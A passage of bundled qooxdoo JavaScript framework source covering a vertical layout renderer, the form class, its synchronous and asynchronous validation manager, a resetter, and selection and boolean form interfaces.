qx.ui.layout.Util; // Compute gaps var spacing = this.getSpacing(); var separator = this.getSeparator(); if (separator) { var gaps = util.computeVerticalSeparatorGaps(children, spacing, separator); } else { var gaps = util.computeVerticalGaps(children, spacing, true); } // First run to cache children data and compute allocated height var i, child, height, percent; var heights = []; var allocatedHeight = gaps; for (i=0; i<length; i+=1) { percent = this.__heights[i]; height = percent != null ? Math.floor((availHeight - gaps) * percent) : children[i].getSizeHint().height; heights.push(height); allocatedHeight += height; } // Flex support (growing/shrinking) if (this.__enableFlex && allocatedHeight != availHeight) { var flexibles = {}; var flex, offset; for (i=0; i<length; i+=1) { flex = this.__flexs[i]; if (flex > 0) { hint = children[i].getSizeHint(); flexibles[i]= { min : hint.minHeight, value : heights[i], max : hint.maxHeight, flex : flex }; } } var result = util.computeFlexOffsets(flexibles, availHeight, allocatedHeight); for (i in result) { offset = result[i].offset; heights[i] += offset; allocatedHeight += offset; } } // Start with top coordinate var top = children[0].getMarginTop(); // Alignment support if (allocatedHeight < availHeight && this.getAlignY() != "top") { top = availHeight - allocatedHeight; if (this.getAlignY() === "middle") { top = Math.round(top / 2); } } // Layouting children var hint, left, width, height, marginBottom, marginLeft, marginRight; // Pre configure separators this._clearSeparators(); // Compute separator height if (separator) { var separatorInsets = qx.theme.manager.Decoration.getInstance().resolve(separator).getInsets(); var separatorHeight = separatorInsets.top + separatorInsets.bottom; } // Render children and separators for (i=0; i<length; i+=1) { child = children[i]; height = heights[i]; hint = child.getSizeHint(); marginLeft = child.getMarginLeft(); marginRight = child.getMarginRight(); // Find usable width width = Math.max(hint.minWidth, Math.min(availWidth-marginLeft-marginRight, hint.maxWidth)); // Respect horizontal alignment left = util.computeHorizontalAlignOffset(child.getAlignX()||this.getAlignX(), width, availWidth, marginLeft, marginRight); // Add collapsed margin if (i > 0) { // Whether a separator has been configured if (separator) { // add margin of last child and spacing top += marginBottom + spacing; // then render the separator at this position this._renderSeparator(separator, { top : top, left : 0, height : separatorHeight, width : availWidth }); // and finally add the size of the separator, the spacing (again) and the top margin top += separatorHeight + spacing + child.getMarginTop(); } else { // Support margin collapsing when no separator is defined top += util.collapseMargins(spacing, marginBottom, child.getMarginTop()); } } // Layout child child.renderLayout(left, top, width, height); // Add height top += height; // Remember bottom margin (for collapsing) marginBottom = child.getMarginBottom(); } }, // overridden _computeSizeHint : function() { // Rebuild flex/height caches if (this._invalidChildrenCache) { this.__rebuildCache(); } var util = qx.ui.layout.Util; var children = this.__children; // Initialize var minHeight=0, height=0, percentMinHeight=0; var minWidth=0, width=0; var child, hint, margin; // Iterate over children for (var i=0, l=children.length; i<l; i+=1) { child = children[i]; hint = child.getSizeHint(); // Sum up heights height += hint.height; // Detect if child is shrinkable or has percent height and update minHeight var flex = this.__flexs[i]; var percent = this.__heights[i]; if (flex) { minHeight += hint.minHeight; } else if (percent) { percentMinHeight = Math.max(percentMinHeight, Math.round(hint.minHeight/percent)); } else { minHeight += hint.height; } // Build horizontal margin sum margin = child.getMarginLeft() + child.getMarginRight(); // Find biggest width if ((hint.width+margin) > width) { width = hint.width + margin; } // Find biggest minWidth if ((hint.minWidth+margin) > minWidth) { minWidth = hint.minWidth + margin; } } minHeight += percentMinHeight; // Respect gaps var spacing = this.getSpacing(); var separator = this.getSeparator(); if (separator) { var gaps = util.computeVerticalSeparatorGaps(children, spacing, separator); } else { var gaps = util.computeVerticalGaps(children, spacing, true); } // Return hint return { minHeight : minHeight + gaps, height : height + gaps, minWidth : minWidth, width : width }; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__heights = this.__flexs = this.__children = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * The form object is responsible for managing form items. For that, it takes * advantage of two existing qooxdoo classes. * The {@link qx.ui.form.Resetter} is used for resetting and the * {@link qx.ui.form.validation.Manager} is used for all validation purposes. * * The view code can be found in the used renderer ({@link qx.ui.form.renderer}). */ qx.Class.define("qx.ui.form.Form", { extend : qx.core.Object, construct : function() { this.base(arguments); this.__groups = []; this._buttons = []; this._buttonOptions = []; this._validationManager = new qx.ui.form.validation.Manager(); this._resetter = this._createResetter(); }, members : { __groups : null, _validationManager : null, _groupCounter : 0, _buttons : null, _buttonOptions : null, _resetter : null, /* --------------------------------------------------------------------------- ADD --------------------------------------------------------------------------- */ /** * Adds a form item to the form including its internal * {@link qx.ui.form.validation.Manager} and {@link qx.ui.form.Resetter}. * * *Hint:* The order of all add calls represent the order in the layout. * * @param item {qx.ui.form.IForm} A supported form item. * @param label {String} The string, which should be used as label. * @param validator {Function | qx.ui.form.validation.AsyncValidator ? null} * The validator which is used by the validation * {@link qx.ui.form.validation.Manager}. * @param name {String?null} The name which is used by the data binding * controller {@link qx.data.controller.Form}. * @param validatorContext {var?null} The context of the validator. * @param options {Map?null} An additional map containin custom data which * will be available in your form renderer specific to the added item. */ add : function(item, label, validator, name, validatorContext, options) { if (this.__isFirstAdd()) { this.__groups.push({ title: null, items: [], labels: [], names: [], options: [], headerOptions: {} }); } // save the given arguments this.__groups[this._groupCounter].items.push(item); this.__groups[this._groupCounter].labels.push(label); this.__groups[this._groupCounter].options.push(options); // if no name is given, use the label without not working character if (name == null) { name = label.replace( /\s+|&|-|\+|\*|\/|\||!|\.|,|:|\?|;|~|%|\{|\}|\(|\)|\[|\]|<|>|=|\^|@|\\/g, "" ); } this.__groups[this._groupCounter].names.push(name); // add the item to the validation manager this._validationManager.add(item, validator, validatorContext); // add the item to the reset manager this._resetter.add(item); }, /** * Adds a group header to the form. * * *Hint:* The order of all add calls represent the order in the layout. * * @param title {String} The title of the group header. * @param options {Map?null} A special set of custom data which will be * given to the renderer. */ addGroupHeader : function(title, options) { if (!this.__isFirstAdd()) { this._groupCounter++; } this.__groups.push({ title: title, items: [], labels: [], names: [], options: [], headerOptions: options }); }, /** * Adds a button to the form. * * *Hint:* The order of all add calls represent the order in the layout. * * @param button {qx.ui.form.Button} The button to add. * @param options {Map?null} An additional map containin custom data which * will be available in your form renderer specific to the added button. */ addButton : function(button, options) { this._buttons.push(button); this._buttonOptions.push(options || null); }, /** * Returns whether something has already been added. * * @return {Boolean} true, if nothing has been added jet. */ __isFirstAdd : function() { return this.__groups.length === 0; }, /* --------------------------------------------------------------------------- RESET SUPPORT --------------------------------------------------------------------------- */ /** * Resets the form. This means reseting all form items and the validation. */ reset : function() { this._resetter.reset(); this._validationManager.reset(); }, /** * Redefines the values used for resetting. It calls * {@link qx.ui.form.Resetter#redefine} to get that. */ redefineResetter : function() { this._resetter.redefine(); }, /* --------------------------------------------------------------------------- VALIDATION --------------------------------------------------------------------------- */ /** * Validates the form using the * {@link qx.ui.form.validation.Manager#validate} method. * * @return {Boolean | null} The validation result. */ validate : function() { return this._validationManager.validate(); }, /** * Returns the internally used validation manager. If you want to do some * enhanced validation tasks, you need to use the validation manager. * * @return {qx.ui.form.validation.Manager} The used manager. */ getValidationManager : function() { return this._validationManager; }, /* --------------------------------------------------------------------------- RENDERER SUPPORT --------------------------------------------------------------------------- */ /** * Accessor method for the renderer which returns all added items in a * array containing a map of all items: * {title: title, items: [], labels: [], names: []} * * @return {Array} An array containing all necessary data for the renderer. * @internal */ getGroups : function() { return this.__groups; }, /** * Accessor method for the renderer which returns all added buttons in an * array. * @return {Array} An array containing all added buttons. * @internal */ getButtons : function() { return this._buttons; }, /** * Accessor method for the renderer which returns all added options for * the buttons in an array. * @return {Array} An array containing all added options for the buttons. * @internal */ getButtonOptions : function() { return this._buttonOptions; }, /* --------------------------------------------------------------------------- INTERNAL --------------------------------------------------------------------------- */ /** * Returns all added items as a map. * * @return {Map} A map containing for every item an entry with its name. * * @internal */ getItems : function() { var items = {}; // go threw all groups for (var i = 0; i < this.__groups.length; i++) { var group = this.__groups[i]; // get all items for (var j = 0; j < group.names.length; j++) { var name = group.names[j]; items[name] = group.items[j]; } } return items; }, /** * Creates and returns the used resetter class. * * @return {qx.ui.form.Resetter} the resetter class. * * @internal */ _createResetter : function() { return new qx.ui.form.Resetter(); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { // holding references to widgets --> must set to null this.__groups = this._buttons = this._buttonOptions = null; this._validationManager.dispose(); this._resetter.dispose(); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * This validation manager is responsible for validation of forms. */ qx.Class.define("qx.ui.form.validation.Manager", { extend : qx.core.Object, construct : function() { this.base(arguments); // storage for all form items this.__formItems = []; // storage for all results of async validation calls this.__asyncResults = {}; // set the default required field message this.setRequiredFieldMessage(qx.locale.Manager.tr("This field is required")); }, events : { /** * Change event for the valid state. */ "changeValid" : "qx.event.type.Data", /** * Signals that the validation is done. This is not needed on synchronous * validation (validation is done right after the call) but very important * in the case an asynchronous validator will be used. */ "complete" : "qx.event.type.Event" }, properties : { /** * {Function | AsyncValidator} * The validator of the form itself. You can set a function (for * synchronous validation) or a {@link qx.ui.form.validation.AsyncValidator}. * In both cases, the function can have all added form items as first * argument and the manager as a second argument. The manager should be used * to set the {@link #invalidMessage}. * * Keep in mind that the validator is optional if you don't need the * validation in the context of the whole form. */ validator : { check : "value instanceof Function || qx.Class.isSubClassOf(value.constructor, qx.ui.form.validation.AsyncValidator)", init : null, nullable : true }, /** * The invalid message should store the message why the form validation * failed. It will be added to the array returned by * {@link #getInvalidMessages}. */ invalidMessage : { check : "String", init: "" }, /** * This message will be shown if a required field is empty and no individual * {@link qx.ui.form.MForm#requiredInvalidMessage} is given. */ requiredFieldMessage : { check : "String", init : "" }, /** * The context for the form validation. */ context : { nullable : true } }, members : { __formItems : null, __valid : null, __asyncResults : null, __syncValid : null, /** * Add a form item to the validation manager. * * The form item has to implement at least two interfaces: * <ol> * <li>The {@link qx.ui.form.IForm} Interface</li> * <li>One of the following interfaces: * <ul> * <li>{@link qx.ui.form.IBooleanForm}</li> * <li>{@link qx.ui.form.IColorForm}</li> * <li>{@link qx.ui.form.IDateForm}</li> * <li>{@link qx.ui.form.INumberForm}</li> * <li>{@link qx.ui.form.IStringForm}</li> * </ul> * </li> * </ol> * The validator can be a synchronous or asynchronous validator. In * both cases the validator can either returns a boolean or fire an * {@link qx.core.ValidationError}. For synchronous validation, a plain * JavaScript function should be used. For all asynchronous validations, * a {@link qx.ui.form.validation.AsyncValidator} is needed to wrap the * plain function. * * @param formItem {qx.ui.core.Widget} The form item to add. * @param validator {Function | qx.ui.form.validation.AsyncValidator} * The validator. * @param context {var?null} The context of the validator. */ add: function(formItem, validator, context) { // check for the form API if (!this.__supportsInvalid(formItem)) { throw new Error("Added widget not supported."); } // check for the data type if (this.__supportsSingleSelection(formItem) && !formItem.getValue) { // check for a validator if (validator != null) { throw new Error("Widgets supporting selection can only be validated " + "in the form validator"); } } var dataEntry = { item : formItem, validator : validator, valid : null, context : context }; this.__formItems.push(dataEntry); }, /** * Remove a form item from the validation manager. * * @param formItem {qx.ui.core.Widget} The form item to remove. * @return {qx.ui.core.Widget?null} The removed form item or * <code>null</code> if the item could not be found. */ remove : function(formItem) { var items = this.__formItems; for (var i = 0, len = items.length; i < len; i++) { if (formItem === items[i].item) { items.splice(i, 1); return formItem; } } return null; }, /** * Returns registered form items from the validation manager. * * @return {Array} The form items which will be validated. */ getItems : function() { var items = []; for (var i=0; i < this.__formItems.length; i++) { items.push(this.__formItems[i].item); }; return items; }, /** * Invokes the validation. If only synchronous validators are set, the * result of the whole validation is available at the end of the method * and can be returned. If an asynchronous validator is set, the result * is still unknown at the end of this method so nothing will be returned. * In both cases, a {@link #complete} event will be fired if the validation * has ended. The result of the validation can then be accessed with the * {@link #getValid} method. * * @return {Boolean | void} The validation result, if available. */ validate : function() { var valid = true; this.__syncValid = true; // collaboration of all synchronous validations var items = []; // check all validators for the added form items for (var i = 0; i < this.__formItems.length; i++) { var formItem = this.__formItems[i].item; var validator = this.__formItems[i].validator; // store the items in case of form validation items.push(formItem); // ignore all form items without a validator if (validator == null) { // check for the required property var validatorResult = this.__validateRequired(formItem); valid = valid && validatorResult; this.__syncValid = validatorResult && this.__syncValid; continue; } var validatorResult = this.__validateItem( this.__formItems[i], formItem.getValue() ); // keep that order to ensure that null is returned on async cases valid = validatorResult && valid; if (validatorResult != null) { this.__syncValid = validatorResult && this.__syncValid; } } // check the form validator (be sure to invoke it even if the form // items are already false, so keep the order!) var formValid = this.__validateForm(items); if (qx.lang.Type.isBoolean(formValid)) { this.__syncValid = formValid && this.__syncValid; } valid = formValid && valid; this.__setValid(valid); if (qx.lang.Object.isEmpty(this.__asyncResults)) { this.fireEvent("complete"); } return valid; }, /** * Checks if the form item is required. If so, the value is checked * and the result will be returned. If the form item is not required, true * will be returned. * * @param formItem {qx.ui.core.Widget} The form item to check. */ __validateRequired : function(formItem) { if (formItem.getRequired()) { // if its a widget supporting the selection if (this.__supportsSingleSelection(formItem)) { var validatorResult = !!formItem.getSelection()[0]; // otherwise, a value should be supplied } else { var validatorResult = !!formItem.getValue(); } formItem.setValid(validatorResult); var individualMessage = formItem.getRequiredInvalidMessage(); var message = individualMessage ? individualMessage : this.getRequiredFieldMessage(); formItem.setInvalidMessage(message); return validatorResult; } return true; }, /** * Validates a form item. This method handles the differences of * synchronous and asynchronous validation and returns the result of the * validation if possible (synchronous cases). If the validation is * asynchronous, null will be returned. * * @param dataEntry {Object} The map stored in {@link #add} * @param value {var} The currently set value */ __validateItem : function(dataEntry, value) { var formItem = dataEntry.item; var context = dataEntry.context; var validator = dataEntry.validator; // check for asynchronous validation if (this.__isAsyncValidator(validator)) { // used to check if all async validations are done this.__asyncResults[formItem.toHashCode()] = null; validator.validate(formItem, formItem.getValue(), this, context); return null; } var validatorResult = null; try { var validatorResult = validator.call(context || this, value, formItem); if (validatorResult === undefined) { validatorResult = true; } } catch (e) { if (e instanceof qx.core.ValidationError) { validatorResult = false; if (e.message && e.message != qx.type.BaseError.DEFAULTMESSAGE) { var invalidMessage = e.message; } else { var invalidMessage = e.getComment(); } formItem.setInvalidMessage(invalidMessage); } else { throw e; } } formItem.setValid(validatorResult); dataEntry.valid = validatorResult; return validatorResult; }, /** * Validates the form. It checks for asynchronous validation and handles * the differences to synchronous validation. If no form validator is given, * true will be returned. If a synchronous validator is given, the * validation result will be returned. In asynchronous cases, null will be * returned cause the result is not available. * * @param items {qx.ui.core.Widget[]} An array of all form items. * @return {Boolean|null} description */ __validateForm: function(items) { var formValidator = this.getValidator(); var context = this.getContext() || this; if (formValidator == null) { return true; } // reset the invalidMessage this.setInvalidMessage(""); if (this.__isAsyncValidator(formValidator)) { this.__asyncResults[this.toHashCode()] = null; formValidator.validateForm(items, this, context); return null; } try { var formValid = formValidator.call(context, items, this); if (formValid === undefined) { formValid = true; } } catch (e) { if (e instanceof qx.core.ValidationError) { formValid = false; if (e.message && e.message != qx.type.BaseError.DEFAULTMESSAGE) { var invalidMessage = e.message; } else { var invalidMessage = e.getComment(); } this.setInvalidMessage(invalidMessage); } else { throw e; } } return formValid; }, /** * Helper function which checks, if the given validator is synchronous * or asynchronous. * * @param validator {Function||qx.ui.form.validation.Asyncvalidator} * The validator to check. * @return {Boolean} True, if the given validator is asynchronous. */ __isAsyncValidator : function(validator) { var async = false; if (!qx.lang.Type.isFunction(validator)) { async = qx.Class.isSubClassOf( validator.constructor, qx.ui.form.validation.AsyncValidator ); } return async; }, /** * Returns true, if the given item implements the {@link qx.ui.form.IForm} * interface. * * @param formItem {qx.core.Object} The item to check. * @return {boolean} true, if the given item implements the * necessary interface. */ __supportsInvalid : function(formItem) { var clazz = formItem.constructor; return qx.Class.hasInterface(clazz, qx.ui.form.IForm); }, /** * Returns true, if the given item implements the * {@link qx.ui.core.ISingleSelection} interface. * * @param formItem {qx.core.Object} The item to check. * @return {boolean} true, if the given item implements the * necessary interface. */ __supportsSingleSelection : function(formItem) { var clazz = formItem.constructor; return qx.Class.hasInterface(clazz, qx.ui.core.ISingleSelection); }, /** * Internal setter for the valid member. It generates the event if * necessary and stores the new value * * @param value {Boolean|null} The new valid value of the manager. */ __setValid: function(value) { var oldValue = this.__valid; this.__valid = value; // check for the change event if (oldValue != value) { this.fireDataEvent("changeValid", value, oldValue); } }, /** * Returns the valid state of the manager. * * @return {Boolean|null} The valid state of the manager. */ getValid: function() { return this.__valid; }, /** * Returns the valid state of the manager. * * @return {Boolean|null} The valid state of the manager. */ isValid: function() { return this.getValid(); }, /** * Returns an array of all invalid messages of the invalid form items and * the form manager itself. * * @return {String[]} All invalid messages. */ getInvalidMessages: function() { var messages = []; // combine the messages of all form items for (var i = 0; i < this.__formItems.length; i++) { var formItem = this.__formItems[i].item; if (!formItem.getValid()) { messages.push(formItem.getInvalidMessage()); } } // add the forms fail message if (this.getInvalidMessage() != "") { messages.push(this.getInvalidMessage()); } return messages; }, /** * Selects invalid form items * * @return {Array} invalid form items */ getInvalidFormItems : function() { var res = []; for (var i = 0; i < this.__formItems.length; i++) { var formItem = this.__formItems[i].item; if (!formItem.getValid()) { res.push(formItem); } } return res; }, /** * Resets the validator. */ reset: function() { // reset all form items for (var i = 0; i < this.__formItems.length; i++) { var dataEntry = this.__formItems[i]; // set the field to valid dataEntry.item.setValid(true); } // set the manager to its inital valid value this.__valid = null; }, /** * Internal helper method to set the given item to valid for asynchronous * validation calls. This indirection is used to determinate if the * validation process is completed or if other asynchronous validators * are still validating. {@link #__checkValidationComplete} checks if the * validation is complete and will be called at the end of this method. * * @param formItem {qx.ui.core.Widget} The form item to set the valid state. * @param valid {Boolean} The valid state for the form item. * * @internal */ setItemValid: function(formItem, valid) { // store the result this.__asyncResults[formItem.toHashCode()] = valid; formItem.setValid(valid); this.__checkValidationComplete(); }, /** * Internal helper method to set the form manager to valid for asynchronous * validation calls. This indirection is used to determinate if the * validation process is completed or if other asynchronous validators * are still validating. {@link #__checkValidationComplete} checks if the * validation is complete and will be called at the end of this method. * * @param valid {Boolean} The valid state for the form manager. * * @internal */ setFormValid : function(valid) { this.__asyncResults[this.toHashCode()] = valid; this.__checkValidationComplete(); }, /** * Checks if all asynchronous validators have validated so the result * is final and the {@link #complete} event can be fired. If that's not * the case, nothing will happen in the method. */ __checkValidationComplete : function() { var valid = this.__syncValid; // check if all async validators are done for (var hash in this.__asyncResults) { var currentResult = this.__asyncResults[hash]; valid = currentResult && valid; // the validation is not done so just do nothing if (currentResult == null) { return; } } // set the actual valid state of the manager this.__setValid(valid); // reset the results this.__asyncResults = {}; // fire the complete event (no entry in the results with null) this.fireEvent("complete"); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__formItems = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * This class is responsible for validation in all asynchronous cases and * should always be used with {@link qx.ui.form.validation.Manager}. * * * It acts like a wrapper for asynchronous validation functions. These * validation function must be set in the constructor. The form manager will * invoke the validation and the validator function will be called with two * arguments: * <ul> * <li>asyncValidator: A reference to the corresponding validator.</li> * <li>value: The value of the assigned input field.</li> * </ul> * These two parameters are needed to set the validation status of the current * validator. {@link #setValid} is responsible for doing that. * * * *Warning:* Instances of this class can only be used with one input * field at a time. Multi usage is not supported! * * *Warning:* Calling {@link #setValid} synchronously does not work. If you * have an synchronous validator, please check * {@link qx.ui.form.validation.Manager#add}. If you have both cases, you have * to wrap the synchronous call in a timeout to make it asychronous. */ qx.Class.define("qx.ui.form.validation.AsyncValidator", { extend : qx.core.Object, /** * @param validator {Function} The validator function, which has to be * asynchronous. */ construct : function(validator) { this.base(arguments); // save the validator function this.__validatorFunction = validator; }, members : { __validatorFunction : null, __item : null, __manager : null, __usedForForm : null, /** * The validate function should only be called by * {@link qx.ui.form.validation.Manager}. * * It stores the given information and calls the validation function set in * the constructor. The method is used for form fields only. Validating a * form itself will be invokes with {@link #validateForm}. * * @param item {qx.ui.core.Widget} The form item which should be validated. * @param value {var} The value of the form item. * @param manager {qx.ui.form.validation.Manager} A reference to the form * manager. * @param context {var?null} The context of the validator. * * @internal */ validate: function(item, value, manager, context) { // mark as item validator this.__usedForForm = false; // store the item and the manager this.__item = item; this.__manager = manager; // invoke the user set validator function this.__validatorFunction.call(context || this, this, value); }, /** * The validateForm function should only be called by * {@link qx.ui.form.validation.Manager}. * * It stores the given information and calls the validation function set in * the constructor. The method is used for forms only. Validating a * form item will be invokes with {@link #validate}. * * @param items {qx.ui.core.Widget[]} All form items of the form manager. * @param manager {qx.ui.form.validation.Manager} A reference to the form * manager. * @param context {var?null} The context of the validator. * * @internal */ validateForm : function(items, manager, context) { this.__usedForForm = true; this.__manager = manager; this.__validatorFunction.call(context, items, this); }, /** * This method should be called within the asynchronous callback to tell the * validator the result of the validation. * * @param valid {boolean} The boolean state of the validation. * @param message {String?} The invalidMessage of the validation. */ setValid: function(valid, message) { // valid processing if (this.__usedForForm) { // message processing if (message !== undefined) { this.__manager.setInvalidMessage(message); } this.__manager.setFormValid(valid); } else { // message processing if (message !== undefined) { this.__item.setInvalidMessage(message); } this.__manager.setItemValid(this.__item, valid); } } }, /* ***************************************************************************** DESTRUCT ***************************************************************************** */ destruct : function() { this.__manager = this.__item = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Christian Hagendorn (chris_schmidt) * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Each object, which should support single selection have to * implement this interface. */ qx.Interface.define("qx.ui.core.ISingleSelection", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fires after the selection was modified */ "changeSelection" : "qx.event.type.Data" }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** * Returns an array of currently selected items. * * Note: The result is only a set of selected items, so the order can * differ from the sequence in which the items were added. * * @return {qx.ui.core.Widget[]} List of items. */ getSelection : function() { return true; }, /** * Replaces current selection with the given items. * * @param items {qx.ui.core.Widget[]} Items to select. * @throws an exception if the item is not a child element. */ setSelection : function(items) { return arguments.length == 1; }, /** * Clears the whole selection at once. */ resetSelection : function() { return true; }, /** * Detects whether the given item is currently selected. * * @param item {qx.ui.core.Widget} Any valid selectable item * @return {Boolean} Whether the item is selected. * @throws an exception if the item is not a child element. */ isSelected : function(item) { return arguments.length == 1; }, /** * Whether the selection is empty. * * @return {Boolean} Whether the selection is empty. */ isSelectionEmpty : function() { return true; }, /** * Returns all elements which are selectable. * * @param all {boolean} true for all selectables, false for the * selectables the user can interactively select * @return {qx.ui.core.Widget[]} The contained items. */ getSelectables: function(all) { return arguments.length == 1; } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * The resetter is responsible for managing a set of items and resetting these * items on a {@link #reset} call. It can handle all form items supplying a * value property and all widgets implementing the single selection linked list * or select box. */ qx.Class.define("qx.ui.form.Resetter", { extend : qx.core.Object, construct : function() { this.base(arguments); this.__items = []; }, members : { __items : null, /** * Adding a widget to the reseter will get its current value and store * it for resetting. To access the value, the given item needs to specify * a value property or implement the {@link qx.ui.core.ISingleSelection} * interface. * * @param item {qx.ui.core.Widget} The widget which should be added. */ add : function(item) { // check the init values if (this._supportsValue(item)) { var init = item.getValue(); } else if (this.__supportsSingleSelection(item)) { var init = item.getSelection(); } else if (this.__supportsDataBindingSelection(item)) { var init = item.getSelection().concat(); } else { throw new Error("Item " + item + " not supported for reseting."); } // store the item and its init value this.__items.push({item: item, init: init}); }, /** * Resets all added form items to their initial value. The initial value * is the value in the widget during the {@link #add}. */ reset: function() { // reset all form items for (var i = 0; i < this.__items.length; i++) { var dataEntry = this.__items[i]; // set the init value this.__setItem(dataEntry.item, dataEntry.init); } }, /** * Resets a single given item. The item has to be added to the resetter * instance before. Otherwise, an error is thrown. * * @param item {qx.ui.core.Widget} The widget, which should be resetted. */ resetItem : function(item) { // get the init value var init; for (var i = 0; i < this.__items.length; i++) { var dataEntry = this.__items[i]; if (dataEntry.item === item) { init = dataEntry.init; break; } }; // check for the available init value if (init === undefined) { throw new Error("The given item has not been added."); } this.__setItem(item, init); }, /** * Internal helper for setting an item to a given init value. It checks * for the supported APIs and uses the fitting API. * * @param item {qx.ui.core.Widget} The item to reset. * @param init {var} The value to set. */ __setItem : function(item, init) { // set the init value if (this._supportsValue(item)) { item.setValue(init); } else if ( this.__supportsSingleSelection(item) || this.__supportsDataBindingSelection(item) ) { item.setSelection(init); } }, /** * Takes the current values of all added items and uses these values as * init values for resetting. */ redefine: function() { // go threw all added items for (var i = 0; i < this.__items.length; i++) { var item = this.__items[i].item; // set the new init value for the item this.__items[i].init = this.__getCurrentValue(item); } }, /** * Takes the current value of the given item and stores this value as init * value for resetting. * * @param item {qx.ui.core.Widget} The item to redefine. */ redefineItem : function(item) { // get the data entry var dataEntry; for (var i = 0; i < this.__items.length; i++) { if (this.__items[i].item === item) { dataEntry = this.__items[i]; break; } }; // check for the available init value if (dataEntry === undefined) { throw new Error("The given item has not been added."); } // set the new init value for the item dataEntry.init = this.__getCurrentValue(dataEntry.item); }, /** * Internel helper top access the value of a given item. * * @param item {qx.ui.core.Widget} The item to access. */ __getCurrentValue : function(item) { if (this._supportsValue(item)) { return item.getValue(); } else if ( this.__supportsSingleSelection(item) || this.__supportsDataBindingSelection(item) ) { return item.getSelection(); } }, /** * Returns true, if the given item implements the * {@link qx.ui.core.ISingleSelection} interface. * * @param formItem {qx.core.Object} The item to check. * @return {boolean} true, if the given item implements the * necessary interface. */ __supportsSingleSelection : function(formItem) { var clazz = formItem.constructor; return qx.Class.hasInterface(clazz, qx.ui.core.ISingleSelection); }, /** * Returns true, if the given item implements the * {@link qx.data.controller.ISelection} interface. * * @param formItem {qx.core.Object} The item to check. * @return {boolean} true, if the given item implements the * necessary interface. */ __supportsDataBindingSelection : function(formItem) { var clazz = formItem.constructor; return qx.Class.hasInterface(clazz, qx.data.controller.ISelection); }, /** * Returns true, if the value property is supplied by the form item. * * @param formItem {qx.core.Object} The item to check. * @return {boolean} true, if the given item implements the * necessary interface. */ _supportsValue : function(formItem) { var clazz = formItem.constructor; return ( qx.Class.hasInterface(clazz, qx.ui.form.IBooleanForm) || qx.Class.hasInterface(clazz, qx.ui.form.IColorForm) || qx.Class.hasInterface(clazz, qx.ui.form.IDateForm) || qx.Class.hasInterface(clazz, qx.ui.form.INumberForm) || qx.Class.hasInterface(clazz, qx.ui.form.IStringForm) ); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { // holding references to widgets --> must set to null this.__items = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2012 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Interface for data binding classes offering a selection. */ qx.Interface.define("qx.data.controller.ISelection", { members : { /** * Setter for the selection. * @param value {qx.data.IListData} The data of the selection. */ setSelection : function(value) {}, /** * Getter for the selection list. * @return {qx.data.IListData} The current selection. */ getSelection : function() {}, /** * Resets the selection to its default value. */ resetSelection : function() {} } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Form interface for all form widgets which have boolean as their primary * data type like a checkbox. */ qx.Interface.define("qx.ui.form.IBooleanForm", { /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** Fired when the value was modified */ "changeValue" : "qx.event.type.Data" }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /* --------------------------------------------------------------------------- VALUE PROPERTY --------------------------------------------------------------------------- */ /** * Sets the element's value. * * @param value {Boolean|null} The new value of the element. */ setValue : function(value) { return arguments.length == 1; }, /** * Resets the element's value to its initial value. */ resetValue : function() {}, /** * The element's user set value. * * @return {Boolean|null} The value. */ getValue : function() {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Form interface for all form widgets which have boolean as their primary * data type like a colorchooser. */ 